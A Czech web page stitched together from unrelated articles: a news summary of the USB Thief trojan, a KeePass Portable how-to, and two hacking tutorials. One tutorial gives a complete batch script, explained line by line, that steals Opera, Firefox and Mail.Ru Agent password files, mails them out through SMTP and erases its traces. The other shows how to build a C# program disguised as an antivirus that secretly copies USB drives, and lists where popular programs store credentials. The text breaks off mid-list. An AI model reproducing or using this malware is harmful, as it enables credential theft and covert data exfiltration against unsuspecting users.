Extrémně neobvyklý trojan: malware byl pojmenován USB Thief (Win32/PSW.Stealer.NAI). Malware je zaměřený na krádeže dat, šíří se a funguje na běžných flash discích a také dovedně skrývá stopy své přítomnosti v systému. Trojan je ideální pro kybernetickou špionáž, protože se může dostat i do systémů, které jsou izolované od sítě, pokud k nim lze připojit USB disk.

Na rozdíl od jiných USB hrozeb, které se drží při spuštění a vytvářejí zkratky aplikací, aby se malware spustil, USB Thief funguje jinak. Trojan je navržen tak, aby využil skutečnosti, že uživatelé často ukládají na flash disky přenosné verze aplikací, jako je Firefox, NotePad++, TrueCrypt a podobně. Malware je úhledně integrován do řetězce stahování takových programů, vydávajících se za plugin nebo DLL soubor. Když tedy uživatel spustí známou aplikaci z flash disku, spustí se spolu s ní (na pozadí) trojský kůň.

Neznámý autor malwaru se postaral o seriózní ochranu jeho vývoje. USB Thief se váže na každý infikovaný flash disk pomocí jeho jedinečného ID a nastavení disku. Některé soubory trojského koně jsou chráněny šifrováním AES128 a klíč je generován na základě jedinečných parametrů zařízení. Také názvy souborů malwaru se v každém případě liší: jsou generovány na základě obsahu flash disku a času, kdy byly soubory vytvořeny. Při pokusu zkopírovat USB Thief na jiný flash disk resp normálně tvrdý disk, tento dvoustupňový ochranný systém zabrání malwaru v práci a také vážně zkomplikuje reverzní inženýrství.

Trojská struktura

USB Thief funguje přímo z flash disku a nezanechává žádné stopy na samotném systému. Trojan se skládá ze šesti souborů, z nichž čtyři jsou spustitelné a dva obsahují konfigurační data. První zavaděč je zodpovědný za spuštění trojského koně spolu s přenosnou verzí programu. Zkontroluje USB zařízení a ujistí se, že na něj může zapsat ukradené informace a uložit je zde. Poté se spustí druhý nakladač. Kontroluje názvy nadřazených procesů a zajišťuje, že běží v normálním prostředí (a nikdo se ho nesnaží analyzovat). Třetí zavaděč zase kontroluje antiviry v systému.

Poslední, čtvrtá užitečná zátěž, která je vestavěna běžící proces, je přímo odpovědná za krádež dat. USB Thief krade dokumenty, obrázky, seznam souborů ze všech dostupných disků, data Registr Windows a informace shromážděné WinAudit. Všechna odcizená data jsou uložena na flash disku a zašifrována pomocí eliptické kryptografie.

Experti ESET poznamenávají, že útoky z pomocí USB Zlodějství zatím není běžnou praxí. Trojan je však velmi nebezpečný, protože je obtížné zjistit jeho přítomnost a po vyjmutí jednotky USB nezůstávají vůbec žádné stopy po krádeži informací. Zpráva společnosti také uvádí, že autor malwaru, pokud si to přeje, může svůj malware „znovu využít“ tím, že nahradí užitečné zatížení pro krádež dat jakýmkoli jiným malwarem.

V tomto článku popíšu, jak rychle a bez větších potíží napsat a vyrobit virus, který krade soubory s hesly a vše posílá do schránky.
Začněme tím, že virus bude napsán v bat "e (CMD, můžete převzít základní příkazy), tedy v obvyklém textový soubor a bude spuštěn pomocí standardního vestavěného interpretu Windows - "příkazového řádku".
Abyste mohli napsat takový virus, potřebujete znát přesné umístění souborů, které ukradne, komponenty Blat, které lze stáhnout z off site http://www.blat.net/ nebo z našeho serveru, as stejně jako komponenta z archivátoru WinRaR Rar.exe (obejdete se bez něj).
Otevřete poznámkový blok a zkopírujte do něj následující kód:

@echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\ MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r kopie /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" kopie /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" kopie /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ kopírovat /y wand.dat %SystemDrive%\pass\opera\wand.dat kopírovat /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y >nul cd %AppData%\Mozill a\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite kopie /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Password ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -attach %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

Nebudu moc psát kód samotné Batinky.
@echo off - skryje tělo zadku (takže to není potřeba, ale přesto)
md %systemroot%\wincs - vytvoří složku wincs v systémové složky Windows, bez ohledu na to, na jakém disku je nainstalován nebo jak se jmenuje.
md %SystemDrive%\pass\ - vytvoří složku pass na disku, kde je nainstalován systém Windows.
md %SystemDrive%\pass\opera\ - vytvoří složku opera, ze které pochází wand.dat a cookies4.dat Prohlížeč Opera(až 11* verzí, opera ukládá svá hesla do souboru wand.dat)
md %SystemDrive%\pass\Mozilla\- vytvoří složku Mozilla, ze které jsou soubory Prohlížeč Mozilla(cookies.sqlite ,key3.db ,signons.sqlite ), ve kterých jsou uložena hesla.
md %SystemDrive%\pass\MailAgent\- vytvoří složku MailAgent, do které budou zkopírovány soubory obsahující historii korespondence a klíče registru (ukládající hesla) z Mail Agenta.
md %SystemDrive%\pass\MailAgent\reg- vytvoří složku reg
attrib %systemroot%\wincs +h +s +r- umístí atributy do složky wincs, čímž ji skryje.
attrib %SystemDrive%\pass +h +s +r- stejné jako výše.
zkopírujte /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- zkopíruje soubor blat.exe z umístění pro stažení do složky wincs
zkopírujte /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- zkopíruje soubor blat.dll z umístění pro stažení do složky wincs
kopie /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- zkopíruje soubor blat.lib z umístění pro stažení do složky wincs
CD /D %APPDATA%\Opera\Opera\ - přejde do složky opera, kde jsou umístěny soubory s hesly (nejen) z opery.
zkopírujte /y wand.dat %SystemDrive%\pass\opera\wand.dat- zkopíruje soubor wand.dat do složky opera
zkopírujte /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat- zkopíruje soubor cookie4.dat do složky opera
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- exportuje klíč registru magent_logins2, kde je uloženo heslo, do složky reg
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- exportuje klíč registru magent_logins3, kde je uloženo heslo, do složky reg
CD / D %APPDATA% - přejděte do složky AppData
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- zkopíruje obsah složky Mra\Base do složky MailAgent
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- zkopíruje soubor ver.txt do složky MailAgent
cd %AppData%\Mozilla\Firefox\Profiles\*.default\- přejděte do složky s profilem prohlížeče Mozilla
zkopírujte /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- zkopíruje soubor cookies.sqlite do složky Mozilla
zkopírujte /y key3.db %SystemDrive%\pass\Mozilla\key3.db- zkopíruje soubor key3.db do složky Mozilla
zkopírujte /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite- zkopíruje soubor signons.sqlite do složky Mozilla
kopírovat /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- zkopíruje komponentu archivátoru WinRar Rar.exe do složky pass
del /s /q %SystemRoot%\Rar.exe- odebere komponentu archivátoru ze složky Windows
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- archivovat obsah složky pass
zkopírujte /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar zkopírujte vytvořený archiv do složky wincs
cd %systemroot%\wincs – přejděte do složky wincs
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Heslo - připraví program Blat na odeslání archivu zadáním údajů pro autorizaci a odesláním dopisu. Nezapomeňte uvést své údaje ze schránky, ze které bude dopis s archivem pocházet odesláno.
ren *.rar pass.rar - pro případ, že by archiv během procesu nevzal špatný název, přejmenujeme jej znovu na pass.rar
%systemroot%\wincs\blat.exe -body Soubory Heslo -to [email protected] -připojit %systemroot%\wincs\pass.rar- uveďte, na jakou poštovní adresu bude dopis zaslán a odešlete.
rmdir /s /q %SystemDrive%\pass- odstranit složku pass
rmdir /s /q %systemroot%\wincs- smazat složku wincs
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- odeberte součásti Blat ze složky Windows.
del /s /q %systemroot%\blat.lib- odeberte součásti Blat ze složky Windows.
attrib +a +s +h +r %systemroot%\wind.exe- klademe na sebe atributy, čímž se skrýváme před očima.
EXIT - dokončete proces batink a ukončete.
cls - vymaže výstup všech řádků v intraperátoru.
Zkopírováno, uložit jako wind.bat a zkompilovat do exe pomocí Netopýří programy do exe konvertoru, pak vše shromáždíme, to znamená, že vezmeme komponenty programu Blat a komponentu archivátor WinRar (můžete si ji stáhnout) a slepíme to do jednoho spustitelného souboru, nebo s nějakým programem by cesta k uvolnění všech souborů měla be% SystemRoot% nebo% WindowsDir% nebo %windir% .
Výsledkem je, že dostaneme virus, který nebude spouštěn antiviry a pošle vám na poštu archiv se soubory. Soubory, které přijdou na poštu, lze dešifrovat pomocí obnovení více hesel, i když ne všechny, ale pouze hůlkou .dat z opery, a pokud nebyl aktualizován na verzi 11 * Všechny ostatní soubory lze dešifrovat jejich nahrazením vlastními.
Myslím, že tím to končí, pokud máte nějaké dotazy, klidně se ptejte.
Děkuji za pozornost, vše nejlepší!
©Swap TheHackWorld.in

Mnoho společností, včetně Sony a Adobe, se již stalo obětí hackerů, kteří ukradli miliony hesel a dalších uživatelských dat. Analýza těchto informací ukázala, že mnoho uživatelů často používá buď slabá hesla jako „123456“, nebo stejné heslo pro mnoho služeb. Hackerům to značně usnadňuje jejich úkol a zároveň lze chápat takovou neopatrnost: kdo je schopen si zapamatovat více než tucet složitých hesel?

Jednoduchým řešením by mohl být kus papíru nalepený pod klávesnicí. Ani jeden hacker do něj nebude moci zasahovat, ale budete muset neustále sledovat lidi, kteří se nacházejí v blízkosti vašeho počítače. A tento list je k ničemu, pokud se chcete přihlásit ke svému účtu z počítače někoho jiného.

Bezplatný nástroj KeePass 2 Portable toto dilema řeší. K jeho provozu potřebujete pouze USB flash disk s 10 MB volného místa, na který si nainstalujete pomocný program. V budoucnu si budete muset pamatovat pouze jedno heslo - z chráněné oblasti flash disku. KeePass v něm totiž ukládá přihlašovací údaje k vašim webovým službám v podobě zakódované databanky, chráněné hlavním heslem.

Trojské koně, kteří kradou hesla, nebudou schopni nic vyčenichat. A protože si už nemusíte pamatovat desítky hesel, můžete pro každou webovou službu použít nové, opravdu. silné heslo. Nyní vám podrobně řekneme, jak KeePass používat.

Jak to udělat

1 Nainstalujte si trezor na hesla


Nainstalujte si trezor na hesla

Vložte USB flash disk do PC, vytvořte na něm novou složku a zkopírujte tam obsah archivu se softwarem KeePass. Spusťte program KeePass.exe. Po spuštění aktivujte automatické vyhledávání aktualizace kliknutím na "Povolit" ve vyskakovacím okně. Poté zvolte "Zobrazit | Změnit jazyk“ a klikněte na „Získat další jazyky“.

Stáhněte si soubor ruského jazyka ze stránky, která se otevře kliknutím na „Russian | 2,25+". Extrahujte obsah archivu na USB disk. Klikněte znovu na "Zobrazit | Změnit jazyk, vyberte „ruštinu“ a restartujte KeePass stisknutím tlačítka „Ano“.

2 Vytvořte novou databázi hesel


Vytvořte novou databázi hesel

Vyberte "Soubor | New" a určete jednotku USB jako úložiště hesel. V dalším okně vás program vyzve k nastavení hlavního hesla. Budete jej muset zadat při každém spuštění KeePass.

3 Aktivujte chráněný režim


Aktivujte chráněný režim

Abyste zabránili trojskému koni přečíst vaše heslo pro KeePass, měli byste k jeho zadání použít chráněný režim programu, podobně jako UAC ve Windows 7. Chcete-li to provést, přejděte v KeePass na „Nástroje | Nastavení | Zabezpečení“, přejděte na úplný konec okna a zaškrtněte políčko vedle možnosti „Zadat hlavní heslo v zabezpečeném režimu“.

4 Naplňte databázi hesly


Naplňte databázi hesly

KeePass umí třídit hesla do skupin. Ve výchozím nastavení má vaše banka nových hesel skupiny jako „OS“ nebo „Internet“. Vytvořit nový rekord, vyberte příslušnou skupinu (nebo vytvořte novou), klikněte pravým tlačítkem na bílou plochu vpravo a poté klikněte na „Přidat záznam“.

Vyplňte všechna pole a klikněte na OK. Vzhledem k tomu, že si již nemusíte pamatovat hesla pro přihlášení ke každému účtu, můžete si nastavit nová, složitější, která lze vygenerovat například na passwort-generator.com.

5 Použijte automatickou autorizaci


Pokud se chcete ke službě přihlásit pomocí KeePass, otevřete skupinu, kde je uloženo odpovídající heslo. Klikněte pravým tlačítkem myši klikněte myší na odpovídající záznam úložiště KeePass hesla a z rozevíracího seznamu vyberte možnost "Spustit automatické vytáčení". Poté program přenese vaše data do prohlížeče a prohlížeč otevře nové okno, ve kterém se přihlásíte ke svému účtu.

Upozorňujeme, že do pole „URL“ musíte zadat adresu URL, kterou obvykle zadáváte v prohlížeči pro autorizaci, jinak nebude automatické zadávání hesla přes KeePass fungovat.

6 Rozšířit KeePass


Rozšířit KeePass

Pokud chcete rozšířit funkčnost KeePass, přejděte na "Nástroje | Moduly | Více modulů“, po kterém budete přesměrováni na web s užitečná rozšíření(naše doporučení naleznete v tabulce výše). Nyní kliknutím na název pluginu stáhněte a rozbalte na flash disk.

Restartujte KeePass a přejděte na Nástroje | Moduly. V dolní části se zobrazí seznam dostupných pluginů (některé z nich lze konfigurovat).

Nejlepší rozšíření pro KeePass

Vybavte svůj trezor hesly další funkce, například funkce Rezervovat kopii nebo přenos hesla pro mobilní telefony.

název

Popis

DataBackup Nastaví ochranu banky heslem pro případ odcizení nebo ztráty USB disku.
Twofish Cipher
KeeAgent Přidá kódovací algoritmus, který je téměř nemožné prolomit; všimněte si, že to zpomalí běh KeePass.
KeyExchange Přidá kódovací algoritmus, který je téměř nemožné prolomit; všimněte si, že to zpomalí běh KeePass.
KeeForm Otevře vaše oblíbené stránky kliknutím na tlačítko a automaticky vyplní vaše přihlašovací údaje.

Pro obyčejné smrtelníky je flash disk zařízení pro přenos dokumentů / filmů / fotografií a dalších osobních (a někdy velmi osobních) informací. Pro hackery je ale flash disk obětí i bojovým nástrojem. Dnes vám řeknu všechny jemnosti nepostřehnutelného vypouštění dat z flash disků do mého počítače a také vás naučím, jak proměnit neškodné flash disky na programy pro zálohování hesel z „velkého“ počítače.

Past na cizí flash disky

Myšlenka programu „Evil Computer“ bude následující. Vyvineme malý nástroj, který se bude vydávat za super-mega pokročilý antivirus, jehož účelem je kvalitativně odstranit „nebezpečné“ viry z flash disků. S virem infikovaným flash diskem nikoho nepřekvapíte, takže náš specializovaný „antivirus“ nebude u důvěřivého uživatele znepokojovat. Naopak po vložení USB flash disku do počítače se zobrazí zpráva jako: "Byl zjištěn virus. Provedu podrobnou kontrolu všech souborů na přítomnost infikovaných ", - určitě počká na dokončení této operace.

Příprava nástroje

tak pište užitečný program budeme na nyní módním C#. Flexibilita jazyka a bohatá funkčnost platformy .NET vám umožní vyvíjet aplikace rychlostí blesku. To je přesně to, co potřebujeme. Zajímá nás sklizeň, kterou můžeme sklízet, ne nudný proces kódování.

Jednou z důležitých součástí naší aplikace bude rozhraní. Čím pevněji to uděláte, tím je pravděpodobnější, že si oběť úlovku nevšimne a klidně počká na dokončení antivirové kontroly. Příliš jsem se neobtěžoval a umístil pouze obrázek a ProgressBar ve formě čistého projektu. Můžete se pobavit a vytvořit ohromující design. Doporučuji podívat se na design nějakého skutečného antiviru a navrhnout si aplikaci přibližně ve stejném stylu.

Stanovili jsme úkol

Budeme předpokládat, že jsme se rozhodli pro organizační záležitosti a algoritmus akce, je čas diskutovat o technických nuancích. Náš antivirus by tedy měl začít svou špinavou práci během instalace flash disku. Jednou nový disk se v systému objeví, náš program musí určit jeho písmeno a začít kopírovat.

Než jsem se zavázal napsat tento článek, narazil jsem na zdrojový kód takového programu. Autor příkladu určil přítomnost jednotky flash periodickým výčtem všech disků na přítomnost jednotky typu " vyměnitelné médium". Zpočátku jsem si myslel, že půjdu stejnou cestou, ale vnitřní hlas naznačoval iracionalitu. Po zvážení všech „pro“ a všech „no, jde to“, jsem tento nápad zavrhl a šel se projít na MSND. O pět minut později se ukázalo, že jsem to udělal z dobrého důvodu. Odpověď byla nalezena!

Bez WinAPI nikde...

Nejúčinnějším způsobem, jak zjistit připojení nového zařízení (v našem případě flash disků), je zachytit a analyzovat zprávu WM_DEVICECHANGE. Během instalace zařízení se zpráva odešle do všech oken a my ji snadno zpracujeme v naší aplikaci. K tomu stačí pouze popsat funkci WindowProc. V praxi to vypadá takto:

LResult CALLBACK WindowProc (HWND hwnd, //ID okna UINT uMsg, //ID zprávy WPARAM wParam, //událost, ke které došlo LPARAM lParam //ukazatel na strukturu obsahující data)

V těle funkce je potřeba porovnat hodnotu parametru WParam s ID různých událostí souvisejících se zprávou WM_DEVICECHANGE. Pro náš příklad by to byly:

  • DBT_DEVICEARRIVAL – vybavení přidáno
  • DBT_DEVICEREMOVECOMPLETE – Hardware byl zcela odstraněn
  • Dobře, víme, jak zjistit fakt připojení nového zařízení, ale jak se ujistit, že jste připojili USB flash disk? Existuje spousta zařízení připojitelných za provozu (mluvím o usb) (tiskárna, skener, modem atd.). Naštěstí je tento problém vyřešen docela jednoduše. Pomocí parametru LParam můžeme odkazovat na strukturu _DEV_BROADCAST_HDR, která má pole dbch_devicetype. Zde jsou na základě hodnoty tohoto pole vyvozeny příslušné závěry. Pokud se rovná DEV_DEVTYP_VOLUME, pak je čas se radovat a tleskat – je k nám připojen flash disk!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //velikost struktury DWORD dbch_devicetype; //Typ zařízení DWORD dbch_reserved; //Rezervováno, nepoužito )DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    Do našeho pisyuku byl vložen USB flash disk - zkusme zjistit písmeno jednotky, které mu systém přidělil. Stejně jako v "Field of Miracles" to můžete uhodnout, ale je lepší vytáhnout informace ze struktury DEV_BROADCAST_VOLUME.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //velikost struktury DWORD dbcv_devicetype; //Typ zařízení DWORD dbcv_reserved; //Rezervováno DWORD dbcv_unitmask; //písmeno jednotky bitmask ,PDCVAD_WORD_WORD / dbcv_devicetype

    Ze všech polí v této struktuře nás zajímá dbcv_unitmask. Všimněte si, že tato vlastnost obsahuje pouze kousek písmene, nikoli jeho symbolickou reprezentaci. Pokud je například hodnota 0, bude písmeno jednotky A; když 1, tak B atd. Pro usnadnění získání symbolického písmene je nejlepší napsat funkci.

    Pokud náš sloupek čtete již delší dobu a znáte funkce API, není třeba číst další část článku. Otevřete editor a začněte vytvářet aplikace. Popsal jsem všechny potřebné struktury a funkce; stačí je dát dohromady v programu. Rozhodněte se a začnu se ponořit zejména do .NET a C #.

    Pojďme na .NET "ohm

    Je čas začít cvičit a aplikovat své znalosti na jazyk C#. "Co to sakra? - ptáš se. - Půlku článku jsem mluvil o WinAPI, ale pak jsem se hloupě rozhodl vydat volání všech funkcí ve formě nativního kódu? Kde je udávaná blesková rychlost vývoje?

    V něčem máš pravdu. Naše aplikace bude skutečně používat funkce WinAPI (žádný jednodušší způsob), ale sami je popisovat nebudeme. Mnoho vývojářů čelilo problému určování flash disků. V důsledku těchto šarvátek se začaly objevovat bezplatné třídy pro C #, ve kterých již byla implementována veškerá potřebná funkcionalita. Stačí připojit takový prázdný (čtecí komponent) k našemu projektu a zavolat pár metod. Nyní použijeme jednu z těchto tříd. Znalost výše popsaných struktur se ale určitě bude hodit při portování tohoto programu do Windows API.

    Existuje spousta hotových tříd, které takové problémy řeší, ale nejvíce se mi líbila verze Jana Dolinaye. Tato osoba napsala velmi snadno použitelnou a srozumitelnou třídu DriveDetector, která dokáže:

  • Zjistěte, zda je připojena jednotka flash
  • Definujte požadavek na odpojení připojeného flash disku
  • Zjistěte skutečnost, že je blesk vypnutý
  • Získejte písmeno jednotky nově připojeného flash disku
  • Poskytněte seznam souborů otevřených z flash disku
  • A co je nejdůležitější, s touto třídou se velmi snadno pracuje – to nyní uvidíte. Připojení třídy k vašemu projektu se provádí standardním způsobem a nemá smysl se tím zabývat. Pojďme tedy k inicializaci. Dělá se to takto:

    FlashDriveDetector = new DriveDetector(); flashDriveDetector.DeviceArrived += new DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += new DriveDetectorEventHandler(OnDriveRemoved);

    Po vytvoření instance objektu třídy DriveDetector definuji obslužné rutiny událostí DevieArrived() a DriveRemoved(). Podle jejich názvu není těžké uhodnout, za co mohou. Veškerý inicializační kód je nejlépe zapsat metodou Form1(). Hlavní kód našeho programu bude v obsluze události DeviceArrived. Jeho text můžete vidět v postranním panelu:

    String dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(název_adresáře); xDirectory flashcopier = new xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashkopírka.Přepsat = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Definování dalších filtrů //.... flashcopier.StartCopy();

    Hned na začátku výpisu definuji cestu ke složce, kam budeme kopírovat obsah flash disku. Zkopírujeme do adresáře „flash_current date“, který se nachází spolu se složkou, ze které se naše aplikace spouští - je to pohodlnější. Poté, co jsem se rozhodl pro název složky, pokusím se ji vytvořit pomocí funkce CreateDirectory(). Tuto funkci jsem napsal pouze pro pohodlí. Vytvoří instanci objektu DirectoryInfo navrženého pro práci s adresáři a zavolá jeho metodu Create (), která vytvoří novou složku.

    Po vytvoření složky můžete kopírovat. Kopíruji všechny soubory pomocí objektu typu xDirectory. Pokud sami napíšete kód z výpisu, pak při pokusu o kompilaci kompilátor vygeneruje chybu, ve které to černé na bílém řekne: "Objekt tohoto typu nebyl nalezen."

    Jde o to, že xDirectory je třída třetí strany. Kdysi dávno jsem ho našel na internetu a od té doby ho často používám ve svých projektech. Líbí se mi to, protože ke kopírování podsložek stačí zavolat jednu metodu. Navíc umožňuje nastavit filtry.

    Opravdu se bez toho obejděte. Vezmeme standardní třídy, techniku ​​dobře známou všem programátorům – rekurzi – a napíšeme několik desítek řádků kódu. Bohužel se mi do toho absolutně nechce. Ve dvoře je 21. století, musíme optimalizovat naše akce na maximum a xDirectory nám s tím pomůže.

    Modul s třídou je na našem disku a o účelu metod/vlastností/událostí se můžete dozvědět v odpovídající tabulce.

    vlastnosti třídy xDirectory

    xDirectory Class Methods

    Zkuste spustit naši aplikaci a vložte flash disk. Po pár sekundách (v závislosti na nepořádku vašeho flash disku) se veškerý obsah usb disku přenese do složky, ze které jste spustili čerstvě upečenou aplikaci.

    USB grabber

    Nyní se podívejme na inverzní problém a mluvme o nuancích vytváření tzv. chytač flash disků. Princip stvoření je úplně stejný. Musíte napsat jednoduchou aplikaci, která se po instalaci flash disku automaticky spustí.

    V průběhu práce bude aplikace procházet složkami / klíči registru, ve kterých oblíbené programy ukládají uložená hesla, a pokud je to možné, zkopíruje všechny informace do jedné ze svých složek. Aby vaše autorun nevzbudilo podezření u nebohého uživatele, dejte si práci a pečlivě jej zamaskujte. Například pod spouštěcí nabídkou.

    Pravděpodobně víte, že nyní jsou velmi populární tzv. přenosné verze aplikací, tedy programy, které mohou pracovat přímo z flash disku. To je nejlepší způsob, jak hrát. Navrhněte program ve vhodném stylu a pro důvěryhodnost přihoďte pár tlačítek určených ke spouštění jakýchkoli programů. Můj návrh je na obrázku.

    Jak budeme loupit?

    Hned musím říci, že zde není potřeba provádět superhackerské akce. Většina programů ukládá osobní data do složky Documents and Settings\User\Application Data\%ProgramName% nebo do registru. ProgramName znamená jakýkoli program. Pokud jste postaveni před první možnost, pak budete muset použít již známou třídu xDirectory (nebo standardní metody pro práci se soubory) a zkopírovat s ní vše, co potřebujete. V druhém případě budete muset pracovat s registrem. Nebudu uvádět příklad kopírování souborů (už jsme to zvažovali), ale ukážu vám, jak pracovat s registrem pomocí nástrojů .NET (na příkladu určení cesty ke složce TC):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" software\\Ghisler\\ Total Commander"); klíč řetězce = (řetězec) readKey.GetValue("InstallDir");

    To je vše. Už nebude žádný kód. Tyto znalosti by vám měly stačit k získání souborů s cennými informacemi. Abych to trochu usnadnil, připravil jsem seznam těch nejvíce oblíbené programy a namalovali všechny způsoby, jakými ukládají uložená uživatelská data.

    Poštovní agent

    Messenger z Mail.ru je nyní velmi populární mezi pouhými smrtelnými uživateli (zejména mezi ženami). Cíle jsou jasné, úkoly jsou dané, takže nás zajímá:

  • Dějiny. MA ukládá celou historii korespondence uživatele do složky Dokumenty a nastavení\%User%\Application Data\Mra\base . V základní složce je soubor mra.dbs. Toto je ve skutečnosti soubor historie.
  • Seznam kontaktů. Seznam kontaktů je umístěn ve složce MRA\%user account%\clist5.txt. Mějte na paměti, že s mail.agent může pracovat několik uživatelů (nebo jeden uživatel může mít několik účtů). Proto by bylo nejrozumnější zkopírovat všechny složky obsahující v názvu symbol „@“.
  • Heslo. Heslo (přesněji jeho hash) od účet Uživatel je umístěn v registru podél cesty - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% v parametru ####password.
  • gTalk

    Společnost Google vytváří pohodlné a funkční produkty, mezi nimiž je gabber klient - gTalk. Dnes gTalk zatím nepříliš populární. Neinstaluje se na každé druhé PC, ale občas se přece jen objeví a abychom byli v předmětu, je lepší náš program hned naučit získávat hesla i z tohoto messengeru. Hesla pro všechny účty gTalk jsou uložena v registru - HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts . Tato větev uvádí všechny účty, ke kterým jste kdy byli přihlášeni gTalk. Hesla účtů jsou uložena v parametr řetězce pw.

    Total Commander

    Total Commander- zdaleka nejoblíbenější správce souborů. Program obsahuje přibližně vagónek a malý vozík (a stejný počet lze k němu připojit pomocí dalších plug-inů). Nás zajímá pouze vestavěný FTP klient. Používá ho mnoho a hesla se samozřejmě ukládají.

    TC na rozdíl od mnoha jiných programů neukládá hesla do registru, ale používá staré dobré ini soubory. Hesla, stejně jako všechna potřebná data pro připojení k serverům (ip, port, uživatelské jméno atd.) Total Commander ukládá do souboru wcx_ftp.ini, který je nevinně umístěn ve složce programu. Cesta k adresáři, kde je nainstalován Total Commander, zjistíte z registru. Podívejte se do větve HKEY_CURRENT_USER\Software\Ghisler\Total Commander.

    Firefox

    Prohlížeč dnes není jen program pro cestování po WEBu, ale celek, který kromě různých možností uchovává spoustu důvěrných informací. Typickým příkladem toho jsou webové formuláře. 99 % moderních stránek vyžaduje registraci. Zapamatovat si a neustále mít na paměti kombinaci přihlašovacího jména / hesla pro každý web je nereálný úkol, zejména pokud jste pokročilý uživatel a vaše surfování po internetu se neomezuje pouze na Odnoklassniki a VKontakte.

    Vývojáři uživatelům usnadnili život a do programů zabudovali takzvané „schránky hesel“. Zaregistroval jsem se, přihlásil pod svým účtem, nařídil prohlížeči, aby si zapamatoval přihlašovací údaje – a zapomněl. Při další návštěvě zbývá pouze provést několik kliknutí myší a již jste na webu. Vzhledem k tomu, že prohlížeč ukládá hesla, znamená to, že máme možnost ukrást celou jeho databázi.

  • sessionstore.js – soubor obsahuje všechny uložené relace.
  • signons3.txt - zašifrovaná hesla (pro třetí verzi FF).
  • signons.sqlite - SQLite databáze obsahující všechna zašifrovaná hesla.
  • key3.db - databáze obsahující klíče k certifikátům.
  • Všechny tyto soubory jsou umístěny ve známém dokumentu a nastavení\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% .

    Opera

    Opera- prohlížeč, který je velmi oblíbený mezi ruskými uživateli. Samozřejmě to nemůžeme nechat bez dozoru. Takže u Opery je situace přibližně stejná jako u FireFoxu. Všechna hesla uložená v prohlížeči jsou uložena v dokumentu a nastavení\%UserName%\Application Data\Opera\profile v souboru wand.dat. Ukazuje se, že když je detekována Opera, budeme jednat stejně jako v případě Firefox.

    Skype

